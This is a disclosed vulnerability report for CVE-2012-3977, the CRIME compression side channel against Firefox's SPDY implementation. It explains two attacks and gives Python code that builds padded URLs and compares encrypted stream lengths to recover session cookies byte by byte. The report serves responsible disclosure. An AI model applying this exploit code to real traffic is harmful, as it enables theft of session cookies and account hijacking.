Skip to content
Disclosed report CVE-2012-3977

SPDY compression infoleak (CRIME)

Thai Duong Follow

Originally disclosed on Mozilla

  • Fixed in 7 days
  • Paid in 12 months
  • Disclosed after 7 days

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11

Steps to reproduce:

  1. Introduction

It's a known vulnerablity that combining compression with encryption can sometimes reveal information that would not have been revealed without compression [1]. We've developed working exploits for this vulnerablity in Firefox's implementation of SPDY compression. There are two attacks, both can reliably extract cookies from SPDY over SSL/TLS just by:

  • using Javascript to create new <img> tags pointed to target domain
  • looking at the lengths of the resulting encrypted SPDY streams

It's worth noting that our attacks don't require any plugins; we use Javascript to make them faster, but it's possible to implement them even without any scripting capabilities.

Actual results:

  1. First attack: Two Tries

In SPDY the entire contents of the name/value header block including the URL and cookies is compressed using zlib deflate. Suppose that the cookie name is SID, and we want to obtain the first byte of its value, which is supposed to be the byte A. The first attack, which we call Two Tries, works as follows.

For each byte (guesschar) in the cookie's characterset, it constructs two URLs using this function:

GUESS_LEN = 4 WINDOW_LEN = 2**15 - 262 # zlib's default window size, see http://www.zlib.net/zlib_tech.html PAD_BYTE = '&' REQ = " HTTP/1.1\r\nHost: localhost:8443\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.15 Safari/537.1\r\nAccept: /\r\nReferer: https://localhost:8443/a.html\r\nAccept-Encoding gzip,deflate,sdch\r\nAccept-Language: en-US,en;q=0.8\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\nCookie: "

def two_guess(known, guesschar): guess = known[-(GUESS_LEN-1):] + guesschar # ID=x boundary = PAD_BYTE * GUESS_LEN url1 = guess + boundary url2 = boundary + guess total_pad = WINDOW_LEN - len(REQ)- len(known) - 5 - 1 # 5 for "GET /", and 1 for the guesschar padding = PAD_BYTE * total_pad url1 += padding url2 += padding return (url1, url2)

where known is "SID=". The trick here is to make sure that guess is out of zlib's window size in url1, but not so in url2. These two URLs are then used to open new cookie-bearing requests to target (e.g., setting them as image sources.) Here is our oracle:

  • When guess isn't equal to ID=A, lengths of both sync streams would be the same.

  • When guess is equal to ID=A, lengths of both sync streams would be different. This happens because the string "ID=A" in cookie would be replaced by a reference to the same string in the url2.

We found that this oracle is reliably enough to extract cookies.

  1. Second attack

While Two Tries is a generic attack, we've also developed a specific attack for SPDY. We found that SPDY uses a single zlib stream (context) for all name value pairs in one direction on a SPDY connection. This is understandably to get the most out of compression, i.e., this makes subsequent header blocks compress to very small outputs. So small that zlib decides to use fixed Huffman codes (see section 3.2.6 in [1],) which assign long code lengths to literals. This allows us to conduct an easier attack as follows:

def random_str(length): chars = BASE64 return ''.join(random.choice(chars) for i in xrange(length))

def next_byte(known, alphabet=BASE64): # the first request is to "reset" the compression state so that # subsequent requests would compress to fixed Huffman codes reset = known[-5:] + '?' url = "/?%s%s" % (random_str(2), reset) query(url) # the second request is used to determine the length of requests with incorrect guess # '.' can be replaced with any chars not in the cookie's characterset incorrect = known[-5:] + '.' url = "/?%s%s" % (random_str(2), incorrect) length = query(url)

good = alphabet
while len(good) != 1:
    for c in good:
        guess = known[-5:] + c
        url = '/?%s%s' % (random_str(2), guess)
        i = query(url)
   # if guess matches a substring of cookie, 
       # the length of the resulting request would be smaller than those don't match
        if i >= length:
            good.remove(c)
return good[0]

This attack is 100% reliable, for both SPDY/2 and SPDY/3.

Note that all of these attacks described so far are not necessarily the best ones (in term of number of requests per byte for example.) We include them here because they are simple, hence easier to explain/understand. We have slightly more complicated algorithms that can make it down to a few requests per byte.

The original report as published on Mozilla's Bugzilla, by Thai Duong. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity security bug in Networking: HTTP. Mozilla made it public on 8 August 2012 as CVE-2012-3977.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.